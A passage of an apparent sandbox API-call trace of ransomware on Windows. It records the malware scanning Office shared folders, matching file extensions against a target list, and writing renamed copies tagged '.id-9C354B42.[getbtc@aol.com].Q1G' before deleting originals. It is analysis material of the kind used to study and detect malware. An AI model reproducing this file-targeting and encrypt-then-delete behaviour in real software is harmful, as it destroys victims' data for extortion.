lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString=".doc") returned 4 [0043.123] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.123] lstrlenW (lpString=".docx") returned 5 [0043.123] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0043.124] lstrlenW (lpString=".pdf") returned 4 [0043.124] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.124] lstrlenW (lpString=".xls") returned 4 [0043.124] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.124] lstrlenW (lpString=".xlsx") returned 5 [0043.124] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0043.124] lstrlenW (lpString=".ppt") returned 4 [0043.124] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.124] lstrlenW (lpString=".zip") returned 4 [0043.124] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.124] lstrlenW (lpString=".rar") returned 4 [0043.124] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.124] lstrlenW (lpString=".bz2") returned 4 [0043.124] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.124] lstrlenW (lpString=".7z") returned 3 [0043.124] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.124] lstrlenW (lpString=".dbf") returned 4 [0043.124] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.124] lstrlenW (lpString=".1cd") returned 4 [0043.124] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.124] lstrlenW (lpString=".jpg") returned 4 [0043.124] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.124] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0043.124] lstrlenW (lpString="Garden.jpg") returned 10 [0043.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.125] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=23871) returned 1 [0043.125] CloseHandle (hObject=0x1c8) returned 1 [0043.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0043.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.125] lstrlenW (lpString=".doc") returned 4 [0043.125] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.125] lstrlenW (lpString=".docx") returned 5 [0043.125] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0043.125] lstrlenW (lpString=".pdf") returned 4 [0043.125] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.125] lstrlenW (lpString=".xls") returned 4 [0043.125] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.125] lstrlenW (lpString=".xlsx") returned 5 [0043.125] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0043.125] lstrlenW (lpString=".ppt") returned 4 [0043.125] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.125] lstrlenW (lpString=".zip") returned 4 [0043.125] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.125] lstrlenW (lpString=".rar") returned 4 [0043.125] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.125] lstrlenW (lpString=".bz2") returned 4 [0043.125] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.126] lstrlenW (lpString=".7z") returned 3 [0043.126] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".dbf") returned 4 [0043.126] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".1cd") returned 4 [0043.126] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".jpg") returned 4 [0043.126] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".doc") returned 4 [0043.126] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.126] lstrlenW (lpString=".docx") returned 5 [0043.126] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0043.126] lstrlenW (lpString=".pdf") returned 4 [0043.126] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.126] lstrlenW (lpString=".xls") returned 4 [0043.126] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.126] lstrlenW (lpString=".xlsx") returned 5 [0043.126] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0043.126] lstrlenW (lpString=".ppt") returned 4 [0043.126] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".zip") returned 4 [0043.126] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.126] lstrlenW (lpString=".rar") returned 4 [0043.126] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.126] lstrlenW (lpString=".bz2") returned 4 [0043.126] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.126] lstrlenW (lpString=".7z") returned 3 [0043.126] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.126] lstrlenW (lpString=".dbf") returned 4 [0043.127] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.127] lstrlenW (lpString=".1cd") returned 4 [0043.127] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.127] lstrlenW (lpString=".jpg") returned 4 [0043.127] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.127] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0043.127] lstrlenW (lpString="Genko_1.emf") returned 11 [0043.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.128] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=5524) returned 1 [0043.128] CloseHandle (hObject=0x1c8) returned 1 [0043.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0043.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.129] lstrlenW (lpString=".doc") returned 4 [0043.129] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.129] lstrlenW (lpString=".docx") returned 5 [0043.130] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0043.130] lstrlenW (lpString=".pdf") returned 4 [0043.130] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString=".xls") returned 4 [0043.130] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString=".xlsx") returned 5 [0043.130] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0043.130] lstrlenW (lpString=".ppt") returned 4 [0043.130] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString=".zip") returned 4 [0043.130] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString=".rar") returned 4 [0043.130] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString=".bz2") returned 4 [0043.130] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.130] lstrlenW (lpString=".7z") returned 3 [0043.130] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString=".dbf") returned 4 [0043.130] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString=".1cd") returned 4 [0043.130] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString=".jpg") returned 4 [0043.130] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.130] lstrlenW (lpString=".doc") returned 4 [0043.130] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.130] lstrlenW (lpString=".docx") returned 5 [0043.130] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0043.130] lstrlenW (lpString=".pdf") returned 4 [0043.130] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.130] lstrlenW (lpString=".xls") returned 4 [0043.131] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.131] lstrlenW (lpString=".xlsx") returned 5 [0043.131] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0043.131] lstrlenW (lpString=".ppt") returned 4 [0043.131] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.131] lstrlenW (lpString=".zip") returned 4 [0043.131] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.131] lstrlenW (lpString=".rar") returned 4 [0043.131] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.131] lstrlenW (lpString=".bz2") returned 4 [0043.131] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.131] lstrlenW (lpString=".7z") returned 3 [0043.131] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.131] lstrlenW (lpString=".dbf") returned 4 [0043.131] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.131] lstrlenW (lpString=".1cd") returned 4 [0043.131] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.131] lstrlenW (lpString=".jpg") returned 4 [0043.131] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.131] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0043.131] lstrlenW (lpString="Genko_2.emf") returned 11 [0043.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.132] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=10340) returned 1 [0043.132] CloseHandle (hObject=0x1c8) returned 1 [0043.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0043.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.132] lstrlenW (lpString=".doc") returned 4 [0043.132] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.132] lstrlenW (lpString=".docx") returned 5 [0043.132] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0043.132] lstrlenW (lpString=".pdf") returned 4 [0043.132] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.132] lstrlenW (lpString=".xls") returned 4 [0043.132] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.132] lstrlenW (lpString=".xlsx") returned 5 [0043.132] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0043.132] lstrlenW (lpString=".ppt") returned 4 [0043.132] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.132] lstrlenW (lpString=".zip") returned 4 [0043.132] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.132] lstrlenW (lpString=".rar") returned 4 [0043.132] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.132] lstrlenW (lpString=".bz2") returned 4 [0043.132] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.132] lstrlenW (lpString=".7z") returned 3 [0043.132] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString=".dbf") returned 4 [0043.133] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString=".1cd") returned 4 [0043.133] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString=".jpg") returned 4 [0043.133] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString=".doc") returned 4 [0043.133] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.133] lstrlenW (lpString=".docx") returned 5 [0043.133] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0043.133] lstrlenW (lpString=".pdf") returned 4 [0043.133] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString=".xls") returned 4 [0043.133] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString=".xlsx") returned 5 [0043.133] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0043.133] lstrlenW (lpString=".ppt") returned 4 [0043.133] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.133] lstrlenW (lpString=".zip") returned 4 [0043.133] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString=".rar") returned 4 [0043.133] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.133] lstrlenW (lpString=".bz2") returned 4 [0043.133] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.134] lstrlenW (lpString=".7z") returned 3 [0043.134] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.134] lstrlenW (lpString=".dbf") returned 4 [0043.134] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.134] lstrlenW (lpString=".1cd") returned 4 [0043.134] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.134] lstrlenW (lpString=".jpg") returned 4 [0043.134] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.134] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0043.134] lstrlenW (lpString="Graph.emf") returned 9 [0043.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.135] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=116724) returned 1 [0043.135] CloseHandle (hObject=0x1c8) returned 1 [0043.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0043.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0043.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0043.135] lstrlenW (lpString=".doc") returned 4 [0043.135] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.135] lstrlenW (lpString=".docx") returned 5 [0043.135] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0043.135] lstrlenW (lpString=".pdf") returned 4 [0043.135] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.135] lstrlenW (lpString=".xls") returned 4 [0043.135] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.135] lstrlenW (lpString=".xlsx") returned 5 [0043.135] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0043.135] lstrlenW (lpString=".ppt") returned 4 [0043.135] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0043.135] lstrlenW (lpString=".zip") returned 4 [0043.135] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.135] lstrlenW (lpString=".rar") returned 4 [0043.136] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.136] lstrlenW (lpString=".bz2") returned 4 [0043.136] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.136] lstrlenW (lpString=".7z") returned 3 [0043.136] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0043.136] lstrlenW (lpString=".dbf") returned 4 [0043.136] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0047.022] CloseHandle (hObject=0x200) returned 1 [0047.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.022] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0047.023] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.023] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.023] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.023] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.023] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.023] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.024] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.024] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.024] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.024] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.024] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.543] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=19485) returned 1 [0047.543] CloseHandle (hObject=0x20c) returned 1 [0047.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0047.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 